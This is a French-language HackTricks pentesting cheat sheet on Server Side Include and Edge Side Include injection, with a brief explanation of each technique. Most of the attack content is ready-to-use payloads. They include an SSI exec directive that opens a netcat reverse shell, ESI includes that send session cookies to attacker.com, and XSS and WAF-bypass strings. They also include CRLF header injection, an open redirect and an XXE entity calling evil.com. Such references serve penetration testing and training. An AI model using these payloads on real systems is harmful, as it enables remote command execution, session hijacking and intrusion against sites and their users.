12 KiB
Injection d'Inclusion Côté Serveur/Inclusion Côté Edge
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : 
HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.
Informations de Base sur l'Inclusion Côté Serveur
(Introduction tirée de la documentation Apache)
SSI (Server Side Includes) sont des directives qui sont placées dans des pages HTML, et évaluées sur le serveur pendant que les pages sont servies. Elles vous permettent d'ajouter du contenu généré dynamiquement à une page HTML existante, sans avoir à servir l'ensemble de la page via un programme CGI, ou une autre technologie dynamique.
Par exemple, vous pourriez placer une directive dans une page HTML existante, telle que :
<!--#echo var="DATE_LOCAL" -->
Et, lorsque la page est servie, ce fragment sera évalué et remplacé par sa valeur :
Mardi, 15-Jan-2013 19:28:54 EST
La décision d'utiliser SSI, et quand faire générer entièrement votre page par un programme, est généralement une question de combien de la page est statique, et combien doit être recalculé chaque fois que la page est servie. SSI est un excellent moyen d'ajouter de petits morceaux d'information, comme l'heure actuelle - montré ci-dessus. Mais si la majorité de votre page est générée au moment où elle est servie, vous devez chercher une autre solution.
Vous pouvez inférer la présence de SSI si l'application web utilise des fichiers avec les extensions .shtml, .shtm ou .stm, mais ce n'est pas seulement le cas.
Une expression SSI typique a le format suivant :
<!--#directive param="value" -->
Vérifier
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
Edge Side Inclusion
Il y a un problème de mise en cache des informations ou des applications dynamiques car une partie du contenu peut avoir varié pour la prochaine fois que le contenu est récupéré. C'est ce à quoi ESI est utilisé, pour indiquer en utilisant des balises ESI le contenu dynamique qui doit être généré avant d'envoyer la version mise en cache.
Si un attaquant est capable de injecter une balise ESI à l'intérieur du contenu mis en cache, alors, il pourrait être capable d'injecter un contenu arbitraire dans le document avant qu'il ne soit envoyé aux utilisateurs.
ESI Detection
L'en-tête suivant dans une réponse du serveur signifie que le serveur utilise ESI :
Surrogate-Control: content="ESI/1.0"
Si vous ne trouvez pas cet en-tête, le serveur pourrait utiliser ESI de toute façon.
Une approche d'exploitation aveugle peut également être utilisée car une requête devrait arriver au serveur des attaquants :
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
Exploitation ESI
GoSecure a créé un tableau pour comprendre les attaques possibles que nous pouvons essayer contre différents logiciels compatibles ESI, en fonction des fonctionnalités prises en charge :
- Includes : Prend en charge la directive
<esi:includes> - Vars : Prend en charge la directive
<esi:vars>. Utile pour contourner les filtres XSS - Cookie : Les cookies du document sont accessibles au moteur ESI
- En-têtes en amont requis : Les applications de substitution ne traiteront pas les déclarations ESI à moins que l'application en amont ne fournisse les en-têtes
- Liste blanche des hôtes : Dans ce cas, les inclusions ESI ne sont possibles que depuis des hôtes de serveur autorisés, rendant SSRF, par exemple, seulement possible contre ces hôtes
| Logiciel | Includes | Vars | Cookies | En-têtes en amont requis | Liste blanche des hôtes |
|---|---|---|---|---|---|
| Squid3 | Oui | Oui | Oui | Oui | Non |
| Varnish Cache | Oui | Non | Non | Oui | Oui |
| Fastly | Oui | Non | Non | Non | Oui |
| Akamai ESI Test Server (ETS) | Oui | Oui | Oui | Non | Non |
| NodeJS esi | Oui | Oui | Oui | Non | Non |
| NodeJS nodesi | Oui | Non | Non | Non | Optionnel |
XSS
La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur
<esi:include src=http://attacker.com/xss.html>
Contourner la protection XSS côté client
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
Voler un cookie
- Vol de cookie à distance
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- Voler le cookie HTTP_ONLY avec XSS en le réfléchissant dans la réponse :
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
Fichier Local Privé
Ne pas confondre cela avec une "Inclusion de Fichier Local":
<esi:include src="secret.txt">
CRLF
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Open Redirect
Le suivant ajoutera un en-tête Location à la réponse
<!--esi $add_header('Location','http://attacker.com') -->
Ajouter un en-tête
- Ajouter un en-tête dans la requête forcée
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- Ajouter un en-tête dans la réponse (utile pour contourner "Content-Type: text/json" dans une réponse avec XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
CRLF dans l'en-tête Add (CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Débogage Akamai
Cela enverra des informations de débogage incluses dans la réponse :
<esi:debug/>
ESI + XSLT = XXE
En spécifiant la valeur xslt pour le paramètre dca, il est possible d'inclure eXtensible Stylesheet Language Transformations (XSLT) basé sur ESI. L'inclusion amène le substitut HTTP à récupérer les fichiers XML et XSLT, ce dernier filtrant le premier. De tels fichiers XML sont exploitables pour des attaques XML External Entity (XXE), permettant aux attaquants d'exécuter des attaques SSRF. Cependant, l'utilité de cette approche est limitée puisque l'ESI inclus sert déjà de vecteur SSRF. En raison de l'absence de support dans la bibliothèque Xalan sous-jacente, les DTD externes ne sont pas traitées, empêchant l'extraction de fichiers locaux.
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
Fichier XSLT :
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
Vérifiez la page XSLT :
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}
Références
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://academy.hackthebox.com/module/145/section/1304
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
Liste de Détection de Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.